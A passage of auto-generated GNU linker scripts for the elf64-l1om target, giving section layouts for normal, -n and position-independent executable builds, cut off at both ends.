  . = .;
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -n: mix text and data on same page */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.iplt      :
    {
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -pie -z combreloc -z now -z relro: position independent executable, combine & sort relocs */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      PROVIDE_HIDDEN (__rel_iplt_end = .);
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -pie -z combreloc: position independent executable, combine & sort relocs */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      PROVIDE_HIDDEN (__rel_iplt_end = .);
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
